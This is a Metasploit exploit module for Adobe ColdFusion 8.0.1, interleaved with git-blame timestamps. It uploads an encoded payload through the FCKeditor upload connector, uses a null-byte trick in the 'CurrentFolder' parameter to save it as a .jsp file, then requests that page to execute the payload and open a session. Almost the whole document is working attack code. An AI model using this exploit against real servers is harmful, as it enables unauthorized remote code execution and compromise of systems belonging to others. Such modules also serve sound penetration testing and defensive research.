2010-11-02 21:13:36 +01:00
|
|
|
##
|
2014-10-17 18:47:33 +02:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 20:50:46 +02:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-11-02 21:13:36 +01:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
Rank = ExcellentRanking
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'ColdFusion 8.0.1 Arbitrary File Upload and Execute',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits the Adobe ColdFusion 8.0.1 FCKeditor 'CurrentFolder' File Upload
|
|
|
|
and Execute vulnerability.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Privileged' => true,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2009-2265' ],
|
|
|
|
[ 'OSVDB', '55684'],
|
|
|
|
],
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Universal Windows Target',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'DisableNops' => true,
|
|
|
|
},
|
|
|
|
}
|
|
|
|
],
|
|
|
|
],
|
2014-08-31 08:18:53 +02:00
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'SHELL' => 'cmd.exe'
|
|
|
|
},
|
2013-08-30 23:28:54 +02:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jul 3 2009'
|
|
|
|
))
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('FCKEDITOR_DIR', [ false, 'The path to upload.cfm ', '/CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm' ]),
|
|
|
|
], self.class )
|
|
|
|
end
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
def exploit
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
page = rand_text_alpha_upper(rand(10) + 1) + ".jsp"
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
dbl = Rex::MIME::Message.new
|
|
|
|
dbl.add_part(payload.encoded, "application/x-java-archive", nil, "form-data; name=\"newfile\"; filename=\"#{rand_text_alpha_upper(8)}.txt\"")
|
|
|
|
file = dbl.to_s
|
|
|
|
file.strip!
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
print_status("Sending our POST request...")
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => normalize_uri(datastore['FCKEDITOR_DIR']),
|
|
|
|
'query' => "Command=FileUpload&Type=File&CurrentFolder=/#{page}%00",
|
|
|
|
'version' => '1.1',
|
|
|
|
'method' => 'POST',
|
|
|
|
'ctype' => 'multipart/form-data; boundary=' + dbl.bound,
|
|
|
|
'data' => file,
|
|
|
|
}, 5)
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
if ( res and res.code == 200 and res.body =~ /OnUploadCompleted/ )
|
|
|
|
print_status("Upload succeeded! Executing payload...")
|
2010-11-04 03:54:16 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
send_request_raw(
|
|
|
|
{
|
|
|
|
# default path in Adobe ColdFusion 8.0.1.
|
|
|
|
'uri' => '/userfiles/file/' + page,
|
|
|
|
'method' => 'GET',
|
|
|
|
}, 5)
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
handler
|
|
|
|
else
|
|
|
|
print_error("Upload Failed...")
|
|
|
|
return
|
|
|
|
end
|
2010-11-02 21:13:36 +01:00
|
|
|
|
2013-08-30 23:28:54 +02:00
|
|
|
end
|
2010-11-02 21:13:36 +01:00
|
|
|
end
|